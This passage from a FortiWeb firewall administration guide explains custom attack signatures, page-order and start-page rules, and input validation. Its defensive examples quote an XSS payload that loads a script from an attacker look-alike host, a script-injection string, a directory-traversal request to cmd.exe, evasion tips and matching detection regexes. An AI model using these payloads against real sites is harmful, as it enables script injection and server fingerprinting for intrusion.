Case Sensitive	Enable to differentiate sensitive information according to upper case and lower case letters. For example, when this option is enabled, an HTTP request involving <code>tomcat</code> would not match a sensitive information signature that specifies <code>tomcat</code> (difference is lower case “t”).
Expression	Depending on your selection in Direction, type a regular expression that matches either: • an attack from a client • server information disclosure from the server To prevent false positives, it should not match anything else. The maximum length is 2,071 characters. To create and test a regular expression, click the >> (test) icon. This opens the <i>Regular Expression Validator</i> window where you can fine-tune the expression (see “Regular expression syntax” on page 658). For an example signature and tips on how to prevent evasive attacks, see “Example: Sanitizing poisoned HTML” on page 370.

Setting name	Description
Action	Select which action the FortiWeb appliance will take when it detects a violation of the rule: Alert — Accept the request and generate an alert email and/or log message. Note: If <i>Direction</i> is <i>Data Leakage</i>, does not cloak, except for removing sensitive headers. (Sensitive information in the body remains unaltered.) Alert & Deny — Block the request (reset the connection) and generate an alert and/or log message. This option is applicable only if <i>Direction</i> is <i>Signature Creation</i>. You can customize the web page that will be returned to the client with the HTTP status code. See “Uploading a custom error page” on page 454 or <i>Error Message</i>. Alert & Erase — Hide replies with sensitive information (sometimes called “cloaking”). Block the reply (or reset the connection) or remove the sensitive information, and generate an alert email and/or log message. This option is applicable only if <i>Direction</i> is <i>Data Leakage</i>. If the sensitive information is a status code, you can customize the web page that will be returned to the client with the HTTP status code. Note: This option is not fully supported in offline protection mode. Effects will be identical to <i>Alert</i>; sensitive information will not be blocked or erased. Period Block — Block subsequent requests from the client for a number of seconds. Also configure <i>Block Period</i>. You can customize the web page that will be returned to the client with the HTTP status code. See “Uploading a custom error page” on page 454 or <i>Error Message</i>. Note: If FortiWeb is deployed behind a NAT load balancer, when using this option, you must also define an X-header that indicates the original client’s IP (see “Defining your proxies, clients, & X-headers” on page 256). Failure to do so may cause FortiWeb to block all connections when it detects a violation of this type.

Setting name	Description
	• Redirect — Redirect the request to the URL that you specify in the protection profile and generate an alert and/or log message. Also configure Redirect URL and Redirect URL With Reason. This option is available only if Direction is <i>Signature Creation</i>. • Send 403 Forbidden — Reply with an HTTP 403 Access Forbidden error message and generate an alert and/or log message. This option is available only if Direction is <i>Data Leakage</i>. The default value is <i>Alert</i>. Attack log messages contain Custom Data Leakage Violation: <rule_name> or Custom Signature Creation Violation: <rule_name> (depending on your configuration of Direction) when this feature detects a possible attack. Caution: This setting will be ignored if Monitor Mode is enabled. Note: Logging and/or alert email will occur only if enabled and configured. See “Logging” on page 529 and “Alert email” on page 563. Note: If you will use this rule set with auto-learning, you should select <i>Alert</i>. If Action is <i>Alert & Deny</i>, or any other option that causes the FortiWeb appliance to terminate or modify the request or reply when it detects an attack attempt, the interruption will cause incomplete session information for auto-learning.
Block Period	Type the number of seconds that you want to block subsequent requests from the client after the FortiWeb appliance detects that the client has violated the rule. This setting is available only if Action is set to <i>Period Block</i>. The valid range is from 1 to 3,600 (1 hour). The default value is 1. See also “Monitoring currently blocked IPs” on page 591.
Severity	When rule violations are recorded in the attack log, each log message contains a <i>Severity Level</i> (<i>severity_level</i>) field. Select which severity level the FortiWeb appliance will use when it logs a violation of the rule: • Low • Medium • High The default value is <i>High</i>.
Trigger Action	Select which trigger, if any, that the FortiWeb appliance will use when it logs and/or sends an alert email about a violation of the rule. See “Monitoring currently blocked IPs” on page 591.

4. Click *OK*.
5. Click *Add Target*.
6. From *Available Target*, select which locations in the HTTP request (e.g. *ARGS_NAMES* for the names of parameters or *REQUEST_COOKIES* for strings in the HTTP *Cookie:* header) will be scanned for a signature match, then click the right arrow to move them into the *Search In* area.
7. Click *OK* twice.
8. Repeat this procedure for each individual rule that you want to add.

9. Click **OK** to save your custom signature.

10. Go to *Web Protection > Known Attacks > Custom Protection Policy*.

To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Web Protection Configuration* category. For details, see ["Permissions" on page 46](#).

11. Click *Create New* to create a new group of custom signatures. (Alternatively, to add your custom signature to an existing set, edit that set.)

A dialog appears.

ID	Custom Signature
1	custom-signature1

12. In *Name*, type a name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.

13. Click **OK**.

14. Click *Create New* to include individual rules in the set.

A dialog appears.

ID	Custom Signature
auto	custom-signature1

15. From the *Custom Signature* drop-down list, select the specific custom signature to add to the group.

To view or change information associated with the custom signature, select the *Detail* link. The *Edit Custom Signature* dialog appears. You can view and edit the rules. Use the browser *Back* button to return.

16. Click **OK**.

17. Repeat the previous steps for each individual rule that you want to add to the custom signature set.

18. Group the custom signature set in a signature rule (see ["Blocking known attacks & data leaks" on page 377](#)).

See also

- [Example: ASP .Net version & other multiple server detail leaks](#)
- [Example: Zero-day XSS](#)
- [Example: Local file inclusion fingerprinting via Joomla](#)
- [Example: Sanitizing poisoned HTML](#)
- [Blocking known attacks & data leaks](#)

Example: ASP .Net version & other multiple server detail leaks

Example.com is a cloud hosting provider. Because it must offer whatever services its customers' web apps require, its servers run a variety of platforms — even old, unpatched versions with known vulnerabilities that have not been configured securely. Unfortunately, these platforms advertise their presence in a variety of ways, identifying weaknesses to potential attackers. HTTP headers are one way that web server platforms are easily fingerprinted. Example.com wants to remove unnecessary headers that provide server details to clients in order to make it harder for attackers to fingerprint their platforms and craft successful attacks. Specifically, it wants to erase these HTTP response headers:

```
X-AspNet-Version: 2.0.50727
X-AspNetMvc-Version: 3.0
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
```

To do this, Example.com writes 3 custom signatures, one to match and erase the contents of each header (but not the header's key), and includes these custom signatures in the signature set used by the protection profile:

Setting name	Value
<i>Direction</i>	Signature creation
<i>Expression</i>	\bServer:(.*)\b
<i>Action</i>	Alert & Erase
<i>Severity</i>	Low
<i>Trigger Action</i>	notification-servers1

Setting name	Value
<i>Direction</i>	Signature creation
<i>Expression</i>	\bX-AspNetMvc-Version:(.*)\b
<i>Action</i>	Alert & Erase
<i>Severity</i>	Low
<i>Trigger Action</i>	notification-servers1

Setting name	Value
<i>Direction</i>	Signature creation
<i>Expression</i>	\bX-AspNet-Version:(.*)\b
<i>Action</i>	Alert & Erase
<i>Severity</i>	Low
<i>Trigger Action</i>	notification-servers1

Setting name	Value
<i>Direction</i>	Signature creation
<i>Expression</i>	\bX-Powered-By:(.*)\b
<i>Action</i>	Alert & Erase
<i>Severity</i>	Low
<i>Trigger Action</i>	notification-servers1

The result is that the client receives HTTP responses with headers such as:

```
Server: XXXXXXXXX
X-Powered-By: XXXXXXXXX
X-AspNet-Version: XXXXXXXXX
```



To improve performance, Example.com could use the attack logs generated by these signature matches to notify system administrators to disable version headers on their web servers. As each customer's web server is reconfigured properly, this would reduce memory and processor power required to rewrite its headers.

See also

- [Defining custom data leak & attack signatures](#)

Example: Zero-day XSS

Example.com is a cloud hosting provider. Large and with a huge surface area for attacks, it makes a tempting target and continuously sees attackers trying new forms of exploits.

Today, its incident response team discovered a previously unknown XSS attack. The attacker had breached the web applications' own input sanitization defenses and succeeded in embedding 3 new methods of browser attacks in many forum web pages. Example.com wants to write a signature that matches the new browser attacks, regardless of what method is used to inject them.



All of the example text colored **magenta** contributes to the success of the attacks, and should be matched when creating a signature.

The first new XSS attack found was:

```
<img
  src='/images/nonexistent-file'
  onerror= document.write(
    <scr I pt src= www.example.co/xss.js>);
/>
```

The above attack works by leveraging a client web browser's error handling against itself. Without actually naming JavaScript, the attack uses the JavaScript error handling event `onError()` to execute arbitrary code with the HTML `<img>` tag. The `<img>` tag's source is a non-existent image. This triggers the web browser to load an arbitrary script from the attacker's

command-and-control server. To avoid detection, he attacker has even bought a DNS name that looks like one of example.com's legitimate servers: www.example.co.

The incident response team has also found two other classes of XSS that evades the forum's own XSS sanitizers (which only look for injection of <script> and <object> tags). The first one exploits a web browser's parser by tricking it with additional quotes in an unexpected place:

```
<img """><script>alert("XSS")</script>">
```

The second one exploits the nature of all web pages with images and other external files. Other than the web page itself, all images, scripts, styles, media, and objects cause the web browser to make secondary HTTP requests: one for each component of the web page. Here, the tag causes the client's web browser to make a request that is actually an injection attempt on another web site.

```

```

The incident response team has written 3 regular expressions to detect each of the above XSS attack classes, as well as similar permutations that use HTML tags other than :

- <(.*?)src(\\s)*=(\\s)*['""](\\s)*(.*?) (\\s)*['""](\\s)*onError
- <(.*?)['""]['""]*(.*?)>(\\s)*<script>
- <(\\s)*[^(<script)](\\s)*src(\\s)*=(\\s)*(http|https|ftp|\\\\\\\\|\\/\\/)(.*)\\?

To form a single signature that can check for any of the 3 new attacks, the team joins those 3 regular expressions by using pipe (|) characters between them in *Expression*:

Setting name	Value
<i>Direction</i>	Signature creation
<i>Expression</i>	<pre><(.*?)src\s*=(\s)*[\'"](\s)*(\s)*[\'"](\s)*onError <(.*?)["'"](\s)*>(\s)*<script> <(\s)*[^(<script)](\s)*src\s*=(\s)*(http https ftp \\ / V v)(.)*\?</pre>
<i>Action</i>	Alert & Deny
<i>Severity</i>	High
<i>Trigger Action</i>	notification-servers1



Attackers can try many techniques to evade detection by signatures. When writing custom attack signatures for FortiWeb, or when sanitizing corrupted content via rewriting, consider that smart attackers:

- instead of explicitly injecting JavaScript statements such as `document.write()` ;, inject CSS or object HTML that either implicitly uses JavaScript or achieves the same purpose (and therefore will **not** be caught by sanitizers rejecting JavaScript only syntax)
- use alternate encodings such as hexadecimal, Base64 or HTML entities instead of character in the encoding specified in the web page's `charset`
- follow or break up valid tags with ignored special characters, such as slashes, spaces, tabs, bells, or carriage returns
- use characters that are functionally equivalent, such as single quotes (') or back ticks (`) instead of double quotes (")

These may be functionally ignored or gracefully handled by a web browser or server's parser, but will allow the attack to slip by your signature if it is not carefully crafted

In the above example, the attacker uses the back tick (` ) used instead of quotes, avoids the literal mention of `javascript:`, and does not match a regular expression that requires the exact, unvaried HTML tag `<script>`. Your regular expression should be flexible enough to account for these cases.



If content has already been corrupted by a successful attack, you can simultaneously sanitize all server responses and notify the response team of specific corrupted URLs. This can help your incident response team to quickly clean the impacted applications and databases. See [“Example: Sanitizing poisoned HTML” on page 370](#).

See also

- [Defining custom data leak & attack signatures](#)
- [Example: Sanitizing poisoned HTML](#)

Example: Local file inclusion fingerprinting via Joomla

Attackers sometimes scout for vulnerabilities in a target before actually executing an attack on it or other, more challenging targets. To look for advance notice of specific attacks that your web servers may soon experience, you might create a honeypot: this server would run the same

platform as your production web servers, but contain no valuable data, normally receive no legitimate traffic, and be open to attacks in order to gather data on automated attacks for your forensic analysis.

Let's say your honeypot, like your production web servers, runs Joomla. In either your web server's logs, you see requests for URLs such as:

```
10.0.0.10
-
-
[16/Dec/2011:09:30:49 +0500]
"GET
/index.php?option=com_ckforms&controller=./../../../../../win
nt/system32/cmd.exe?/c+ver HTTP/1.1"
200
"- "
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:9.0a2)
Gecko/20111101 Firefox/9.0a2)"
```

where the long string of repeated `./` characters indicates an attempt at directory traversal: to go above the web server's usual content directories.

If Joomla does not properly sanitize the input for the `controller` parameter (highlighted in bold above), it would be able to use LFI. The attacker's goal is to reach the `cmd.exe` file, the Microsoft Windows command line, and enter the command `ver`, which displays the web server's specific OS version, such as:

```
Microsoft Windows [Version 6.1.7601]
```

Since the attacker successfully fingerprinted the specific version of Windows and Joomla, **all** virtual hosts on that computer would be vulnerable also to any other attacks known to be successful on that platform.

Luckily, this is happening on your honeypot, and not your company's web servers.

To detect similar attacks, you could write your own attack signature to match and block that **and** similar directory-traversing requests via `controller`, as well as to notify you when your production web servers are being targeted by this type of attack:


Setting name	Value
<i>Direction</i>	Signature creation
<i>Expression</i>	<code>^/index\.php\?option=com_ckforms\&controller=(\\.\\.\\)+?</code>
<i>Action</i>	Alert & Deny
<i>Severity</i>	High
<i>Trigger Action</i>	notification-servers1

If packet payload retention and logging were enabled, once this custom signature was applied, you could analyze requests to locate targeted files. Armed with this knowledge, you could then apply defenses such as tripwires, strict file permissions, uninstalling unnecessary programs, and sandboxing in order to minimize the likelihood that this attacker would be able to succeed and achieve her objectives.

Enforcing page order that follows application logic

Page order rules (called “page access rules” in the web UI) define URLs that must be accessed in a **specific order** to enforce correct business logic or application logic of a web application, and prevent cross-site request forgery (CSRF) attacks.

For example, a password change should always occur in this order:



1. A client begins an HTTP session by requesting the login page.

```
GET /login.asp
```

When the web server responds, FortiWeb adds its HTTP session cookie to the response to initiate a unique HTTP session for that client. All subsequent requests from the client will include this cookie until the client ends the session or the cookie expires. The cookie identifies the client, and coupled with the request URL, allows FortiWeb to track the client's current session state, and enforce session-related features.

2. The client submits his or her authentication credentials.

```
POST /checkLogin.asp?account=user1&password=myPassw0rd!
```

Depending on the web application, the client's login status could be cached server-side, or could be added to a cookie in the response, to be cached client-side.

3. If the login is successful, the web application displays the client's account profile, which includes a password change form.

```
GET /profile.asp
```

4. The client submits a password change request.

```
POST /setPassword.asp?account=user1&password=myPassw0rd!
```

5. If the password change is successful, the account profile web page notifies the client.

```
GET /profile.asp?status=success
```

Authentication is required in order to prove the client's identity. Unless HTTP session initiation is required **and** initial authentication is bound to that session, an attacker could change (or possibly simply read) the password of any user's account simply by making a request like step 4 with the password query in its URL and/or repeating a stolen session cookie. Therefore password access should **never** be allowed in page requests ordered like this:

1. An attacker posts a password change for another person's account.

```
POST /setPassword.asp?account=user1&password=myPassw0rd!
```

2. The account profile page notifies the attacker of the successful change.

```
GET /profile.asp?status=success
```

where the password change page (`/setPassword.asp`) is requested **before** the client has initiated an authenticated session.

In another example, an e-commerce application might be designed to work properly in this order:

1. A client begins an HTTP session by adding an item to a shopping cart.

```
/addToCart.do
```

2. The client either views and adds additional items to the shopping cart at multiple other URLs, or proceeds directly to the checkout.

3. The client confirms the items to purchase.

```
/checkout.do
```

4. The client provides shipping information.

```
/shipment.do
```

5. The client pays for the items and shipment, completing the transaction.

```
/payment.do
```

Sessions that begin at the shipping or payment stage should therefore be invalid. If the web application does not enforce this rule itself, it could be open to CSRF attacks on the payment feature. To prevent such abuse, FortiWeb could enforce the rule itself using a page access rule set with the following order in an HTTP session:

1. `/addToCart.do?item=*`
2. `/checkout.do?login=*`
3. `/shipment.do`
4. `/payment.do`

Attempts to request `/payment.do` before those other URLs (including the first URL, which initiates the HTTP session) during a session would be denied, and generate an alert email and/or attack log message (see [“Logging” on page 529](#) and [“Alert email” on page 563](#)).

Requests for other, non-ordered URLs are allowed to interleave ordered URLs during the client’s session. (Due to web browsers’ back buttons, flexible and complex features, and customers browsing your e-commerce inventory before completing a transaction, this is common.) Page access rules may be specific to a web host. This ensures that if web applications have URLs with the same name, you do not necessarily have to apply the same page order rules.

You can use SNMP traps to notify you when a page order rule has been enforced. For details, see [“SNMP traps & queries” on page 567](#).

To configure a page order rule

1. Before you configure a page order rule, if you want to apply it only to HTTP requests for a specific real or virtual host, you must first define the web host in a protected hosts group. For details, see [“Defining your protected or allowed HTTP “Host:” header names” on page 239](#).

2. Go to *Web Protection > Access > Page Access*.

To access this part of the web UI, your administrator’s account access profile must have *Read* and *Write* permission to items in the *Web Protection Configuration* category. For details, see [“Permissions” on page 46](#).

3. Click *Create New*.

A dialog appears.

4. Configure these settings:

Edit Page Access Rule

Name:

Severity:

Trigger Policy:

OK Cancel

Create New

Clear all

ID	Host	Host Status	URL Pattern	Type
1	172.20.120.27	Enable	/index.html	Simple String
2	172.20.120.28	Enable	/index.asp	Simple String

Delete

Edit

Setting name	Description
Name	Type a unique name that can be referenced in other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
Severity	When rule violations are recorded in the attack log, each log message contains a <i>Severity Level</i> (<i>severity_level</i>) field. Select which severity level the FortiWeb appliance will use when it logs a violation of the rule: • Low • Medium • High The default value is <i>High</i>.
Trigger Action	Select which trigger, if any, that the FortiWeb appliance will use when it logs and/or sends an alert email about a violation of the rule. See “Configuring triggers” on page 544.

5. Click *OK*.
6. Click *Create New* to add an entry to the set.
A dialog appears.

7. Configure these settings:

Setting name	Description
ID	Type the index number of the individual rule within the page access rule, or keep the field's default value of <code>auto</code> to let the FortiWeb appliance automatically assign the next available index number. Page access rules should be added to the set in the order which clients will be permitted to access them. For example, if a client must access <code>/login.asp</code> before <code>/account.asp</code>, add the rule for <code>/login.asp</code> first.
Host	Select the name of a protected host that the <code>Host :</code> field of an HTTP request must be in to match the page access rule. This option is available only if Host Status is enabled.
Host Status	Enable if you want the page access rule to apply only to HTTP requests for a specific web host. Also configure Host.
URL Pattern	Depending on your selection in Type, enter either: - the literal URL, such as <code>/cart.php</code>, that the HTTP request must contain in order to match the page access rule. The URL must begin with a slash (<code>/</code>). - a regular expression, such as <code>^/*.php</code>, matching all and only the URLs to which the page access rule should apply. The pattern does not require a slash (<code>/</code>); however, it must at match URLs that begin with a slash, such as <code>/cart.cfm</code>. Do not include the domain name, such as <code>www.example.com</code>, which is configured separately in the Host drop-down list. To create and test a regular expression, click the <code>>></code> (test) icon. This opens the <i>Regular Expression Validator</i> window where you can fine-tune the expression (see “Regular expression syntax” on page 658).
Type	Indicate whether URL Pattern is a <i>Simple String</i> (that is, a literal URL) or a <i>Regular Expression</i>.

8. Click *OK*.

9. Repeat the previous steps for each individual rule that you want to add to page access.

10. To apply an access rule:

- select it in an inline protection profile (see “Configuring a protection profile for inline topologies” on page 456)
- enable *Session Management*

Attack log messages contain `Page Access Rule Violation` when this feature detects a request for a URL that violates the required sequence of URLs within a session.



Because the new active appliance does not know previous session history, after an HA failover, for existing sessions, FortiWeb will **not** be able to apply this feature. See “Sessions & FortiWeb HA” on page 37.


See also

- [Configuring a protection profile for inline topologies](#)

Specifying URLs allowed to initiate sessions

To prevent attackers from exploiting web applications that are vulnerable to state-based attacks, you may need to define legitimate entry points into your web applications.

When you select a start page group in the inline protection profile, clients **must** begin from a valid start page in order to initiate a valid HTTP session. If they violate this rule, they will either be logged, blocked, or redirected to one of the valid entry pages (in the web UI, this is called the “default” page).



All web pages in a start page rule **must** belong to the same web site. Start page rules cannot redirect each violation to a different location, depending on which of the rules was violated. If you choose to redirect violations, all violations will be redirected to the same “default” URL.

For example, you may insist that HTTP clients of an e-commerce web site begin their session from either the main page, an item view, or login. Clients are not allowed to begin a valid session from the third stage of the shopping cart checkout. If someone initiates a session from partway

through the shopping cart checkout, it is likely to be an attack. But just in case it was due to a legitimate client clearing the browser's cookies or clicking a link or bookmark, FortiWeb could redirect the request to one of the valid start pages.

To configure start page rules

1. Before you configure a start page rule, if you want to apply it only to HTTP requests for a specific real or virtual host, you must first define the web host in a protected hosts group. For details, see [“Defining your protected or allowed HTTP “Host:” header names” on page 239.](#)

2. Go to *Web Protection > Access > Start Pages.*

To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Web Protection Configuration* category. For details, see [“Permissions” on page 46.](#)

3. Click *Create New.*

A dialog appears.

4. Configure these settings:

Edit Start Pages

Name:

Action:

Block Period: (1~3600)(Seconds)

Severity:

Trigger Policy:

ID	Host	Host Status	URL Pattern	Type	Default	
1	172.20.120.27	Enable	/index.html	Simple String	Yes	Clear all Edit Delete

Setting name

Description

Name

Type a unique name that can be referenced in other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.

Action

Select which action the FortiWeb appliance will take when it detects a violation of the rule:

- **Alert** — Accept the connection and generate an alert email and/or log message.
- **Alert & Deny** — Block the request (reset the connection) and generate an alert and/or log message.
You can customize the web page that will be returned to the client with the HTTP status code. See [“Uploading a custom error page” on page 454](#) or [Error Message](#).
- **Period Block** — Block subsequent requests from the client for a number of seconds. Also configure [Block Period](#).
You can customize the web page that will be returned to the client with the HTTP status code. See [“Uploading a custom error page” on page 454](#) or [Error Message](#).
Note: If FortiWeb is deployed behind a NAT load balancer, when using this option, you *must* also define an X-header that indicates the original client’s IP (see [“Defining your proxies, clients, & X-headers” on page 256](#)). Failure to do so may cause FortiWeb to block *all* connections when it detects a violation of this type.
- **Redirect** — Redirect the request to the URL that you specify in the protection profile *or* [URL Pattern](#) and generate an alert and/or log message. Also configure either [URL Pattern](#), or [Redirect URL](#) and [Redirect URL With Reason](#).
- **Send 403 Forbidden** — Reply with an HTTP 403 Access Forbidden error message and generate an alert and/or log message.

The default value is *Alert*.

Note: This setting will be ignored if [Monitor Mode](#) is enabled.

Note: Logging and/or alert email will occur only if enabled and configured. See [“Logging” on page 529](#) and [“Alert email” on page 563](#).

Note: If you will use this rule set with auto-learning, you should select *Alert*. If [Action](#) is *Alert & Deny*, or any other option that causes the FortiWeb appliance to terminate or modify the request or reply when it detects an attack attempt, the interruption will cause incomplete session information for auto-learning.

Block Period

Type the number of seconds that you want to block subsequent requests from the client after the FortiWeb appliance detects that the client has violated the rule.

This setting is available only if [Action](#) is set to *Period Block*. The valid range is from 1 to 3,600 (1 hour). The default value is 1. See also [“Monitoring currently blocked IPs” on page 591](#).

Severity

When rule violations are recorded in the attack log, each log message contains a *Severity Level* (`severity_level`) field. Select which severity level the FortiWeb appliance will use when it logs a violation of the rule:


- Low
- Medium
- High

The default value is *High*.

Trigger Action

Select which trigger, if any, that the FortiWeb appliance will use when it logs and/or sends an alert email about a violation of the rule. See “[Configuring triggers](#)” on page 544.

5. Click *OK*.
6. Click *Create New* to add an entry to the set.
A dialog appears.
7. Configure these settings:



Setting name	Description
Host	Select which protected hosts entry (either a web host name or IP address) that the <code>Host :</code> field of the HTTP request must be in to match a valid start page. This option is available only if Host Status is enabled.
Host Status	Enable to require that the <code>Host :</code> field of the HTTP request match a protected hosts entry in order to match a valid start page. Also configure Host .
Type	Select whether URL Pattern is a <i>Simple String</i> (that is, a literal URL such as <code>/index.html</code>) or a <i>Regular Expression</i> . Note: If Default is Yes, you <i>must</i> select <i>Simple String</i> and provide the exact redirect/session initiation URL in URL Pattern . (A regular expression does not specify a single definite destination, and therefore is not a valid configuration in that case.)

Setting name	Description
Default	If Action is <i>Redirect</i>, for requests that either: - do not specify any URL (such as requesting <code>http://www.example.com/</code> instead of <code>http://www.example.com/index.php</code>), and therefore neither explicitly match nor violate the rule - violate the start page rule (applies only if you have selected <i>Redirect</i> from Action) select <i>Yes</i> if you want FortiWeb to redirect the client to this page, indicated in URL Pattern. (i.e., This URL will be treated as the web site's default/home page.) Otherwise, select <i>No</i> and configure the redirect URL separately from this rule, in the protection profile's Redirect URL. To prevent the redirect from having more than one possible destination, only one URL in the start page rule can be configured as the “default” at a given time.
URL Pattern	Depending on your selection in <i>Type</i>, type either: - the literal URL, such as <code>/index.php</code>, that the HTTP request must contain in order to match the start page rule. The URL must begin with a slash (/). If Default is <i>Yes</i>, the literal URL also indicates the redirect URL and/or session initiation URL. - a regular expression, such as <code>^/*\.php</code>, matching all and only the URLs to which the start page rule should apply. The pattern does not require a slash (/). However, it must at match URLs that begin with a slash, such as <code>/index.cfm</code>. Do not include the domain name, such as <code>www.example.com</code>, which is configured separately in the <i>Host</i> drop-down list. To create and test a regular expression, click the >> (test) icon. This opens the <i>Regular Expression Validator</i> window where you can fine-tune the expression (see “Regular expression syntax” on page 658).

8. Click *OK*.

9. Repeat the previous steps for each start page that you want to add to the group of start pages.

10. To apply a start page rule:

- select it in an inline protection profile (see [“Configuring a protection profile for inline topologies” on page 456](#))
- enable [Session Management](#)

Attack log messages contain `Start Page Violation` when this feature detects a start page violation. Additionally, if the start page rule was configured to redirect the attacker, parameters will be appended to the redirect URL to indicate the reason. e.g.:

```
http://example.com/index.html?redirect491=1&reason747sha=Start%20Page%20Violation
```



Because the new active appliance does not know previous session history, after an HA failover, for existing sessions, FortiWeb will **not** be able to apply this feature. See [“Sessions & FortiWeb HA” on page 37](#).

See also

- [Configuring a protection profile for inline topologies](#)

Preventing zero-day attacks

While your first line of defense is to scan for known attacks, zero-day attacks are, by definition, unknown.

To defend against zero-day buffer overflow, buffer underflow, shell code, and similar injection attacks that you have not yet identified and created a signature for, input validation can help. You can configure FortiWeb to sanitize inputs at the web application level. (For attacks that operate at the HTTP protocol level, or attacks that are **not** types of application or document injection attacks, see [“HTTP/HTTPS protocol constraints” on page 430](#) and [“Access control” on page 311](#).)

See also

- [Sequence of scans](#)
- [Defining custom data types](#)
- [Configuring parameter validation \(input rules\)](#)
- [Grouping input rules](#)
- [Preventing tampering with hidden inputs](#)
- [Grouping input rules for hidden inputs](#)

Configuring parameter validation (input rules)


You can configure parameter (input) validation rules.

Input rules define whether or not parameters are required, and their maximum allowed length, for requests that match both the:

- `Host :` in the HTTP header
- URL

as defined in the input rule. Inputs are typically the `<input>` tags in an HTML form.

Figure 45:An HTML form with two inputs: *Account ID*'s type attribute is `text`; *Password*'s type attribute is `password`



The image shows a 'SUPPORT LOGIN' form. It has two input fields: 'Account ID' and 'Password'. The 'Account ID' field contains the text 'admin@example.com'. The 'Password' field contains masked characters (dots). Below the input fields are two buttons: 'Log In' and 'Sign Up'. There are also two links: 'Forgot Your Account ID?' and 'Forgot Your Password?'. At the bottom, there is a paragraph of text: 'Distributors and Resellers can access technical support via the Partner portal for priority processing. Click [here](#).'

For example, one web page might have an HTML form with multiple inputs:

- a user name
- a password
- a preference for whether or not to remember the login

Within the input rule for that web page, you could define separate rules for each parameter in the request: one rule for the user name parameter, one rule for the password parameter, and one rule for the preference parameter. The password rule could be used to enforce password complexity by requiring that it match a *Level 2 Password* data type.

Unlike hidden field rules, input rules are for visible inputs only, such as buttons and text areas. For information on constraining **hidden** inputs, see [“Preventing tampering with hidden inputs” on page 420](#).

Each input rule contains one or more individual rules. Collectively, individual rules define all parameter restrictions that apply to requests matching that combination of URL and host name.

If an HTTP/HTTPS request contains repeated parameters, FortiWeb will enforce the input rules for all instances of the parameter — not just the first time it occurs in the request.



Enforcement **cannot** occur if the parameter is bigger than the memory size you have configured for FortiWeb's scan buffers. To configure the buffer size, see `http-cachesize` in the [FortiWeb CLI Reference](#). If your web applications do not require requests larger than the buffer, enable [Malformed Request](#) to harden your configuration.

To configure an input rule

1. Before you configure an input rule, if you want to apply it only to HTTP requests for a specific real or virtual host, you must first define the web host in a protected hosts group (see

“[Defining your protected or allowed HTTP “Host:” header names](#)” on page 239). If you want to define your own data types, you should also configure those first (see “[Defining custom data types](#)” on page 417).

2. Go to *Web Protection > Input Validation > Parameter Validation Rule*.

To access this part of the web UI, your administrator’s account access profile must have *Read* and *Write* permission to items in the *Web Protection Configuration* category. For details, see “[Permissions](#)” on page 46.

3. Click *Create New*.

A dialog appears.

4. Configure these settings:

Edit Parameter Validation Rule

Name parameter-validator1

Host Status ☒

Host www.example.com

Request URL Type ☒ Simple String ☐ Regular Expression

Request URL /form

Action Alert & Deny

Block Period 60 (1~3600)(Seconds)

Severity Medium

Trigger Action notification-servers1

OK Cancel

Create New

ID	Name	Max Length	Data Type	Required	
1	username	32	Email	Yes	 Clear all  Delete  Edit

Setting name	Description
Name	Type a unique name that can be referenced in other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
Host Status	Enable to apply this input rule only to HTTP requests for specific web hosts. Also configure Host . Disable to match the input rule based upon the other criteria, such as the URL, but regardless of the <code>Host</code> : field.
Host	Select which protected hosts entry (either a web host name or IP address) that the <code>Host</code> : field of the HTTP request must be in to match the signature exception. This option is available only if Host Status is enabled.

Setting name	Description
Request URL	Depending on your selection in Request URL Type, type either: - the literal URL, such as <code>/index.php</code>, that the HTTP request must contain in order to match the input rule. The URL must begin with a backslash (<code>/</code>). - a regular expression, such as <code>^/*\.php</code>, matching all and only the URLs to which the input rule should apply. The pattern does not require a backslash (<code>/</code>); however, it must at least match URLs that begin with a slash, such as <code>/index.cfm</code>. Do not include the domain name, such as <code>www.example.com</code>, which is configured separately in the <i>Host</i> drop-down list. To create and test a regular expression, click the >> (test) icon. This opens the <i>Regular Expression Validator</i> window where you can fine-tune the expression (see “Regular expression syntax” on page 658 and “Cookbook regular expressions” on page 665).
Request URL Type	Select whether the Request URL field must contain a literal URL (<i>Simple String</i>), or a regular expression designed to match multiple URLs (<i>Regular Expression</i>).

Setting name	Description
Action	Select which action the FortiWeb appliance will take when it detects a violation of the rule: • Alert — Accept the connection and generate an alert email and/or log message. • Alert & Deny — Block the request (reset the connection) and generate an alert and/or log message. You can customize the web page that will be returned to the client with the HTTP status code. See “Uploading a custom error page” on page 454 or Error Message. • Period Block — Block subsequent requests from the client for a number of seconds. Also configure Block Period. You can customize the web page that will be returned to the client with the HTTP status code. See “Uploading a custom error page” on page 454 or Error Message. Note: If FortiWeb is deployed behind a NAT load balancer, when using this option, you must also define an X-header that indicates the original client's IP (see “Defining your proxies, clients, & X-headers” on page 256). Failure to do so may cause FortiWeb to block all connections when it detects a violation of this type. • Redirect — Redirect the request to the URL that you specify in the protection profile and generate an alert and/or log message. Also configure Redirect URL and Redirect URL With Reason. • Send 403 Forbidden — Reply with an HTTP 403 <code>Access Forbidden</code> error message and generate an alert and/or log message. The default value is <i>Alert</i>. See also “Reducing false positives” on page 609. Caution: This setting will be ignored if Monitor Mode is enabled. Note: Logging and/or alert email will occur only if enabled and configured. See “Logging” on page 529 and “Alert email” on page 563. Note: If you will use this rule set with auto-learning, you should select <i>Alert</i>. If Action is <i>Alert & Deny</i>, or any other option that causes the FortiWeb appliance to terminate or modify the request or reply when it detects an attack attempt, the interruption will cause incomplete session information for auto-learning.
Block Period	Type the number of seconds that you want to block subsequent requests from the client after the FortiWeb appliance detects that the client has violated the rule. This setting is available only if Action is set to <i>Period Block</i>. The valid range is from 1 to 3,600 (1 hour). The default value is 1. See also “Monitoring currently blocked IPs” on page 591.

Setting name	Description
Severity	When rule violations are recorded in the attack log, each log message contains a <i>Severity Level</i> (<code>severity_level</code>) field. Select which severity level the FortiWeb appliance will use when it logs a violation of the rule: • Low • Medium • High The default value is <i>High</i>.
Trigger Action	Select which trigger, if any, that the FortiWeb appliance will use when it logs and/or sends an alert email about a violation of the rule. See “Configuring triggers” on page 544.

5. Click *OK*.
6. Click *Create New* to add an entry to the set. You can add up to 1,024.
A dialog appears.
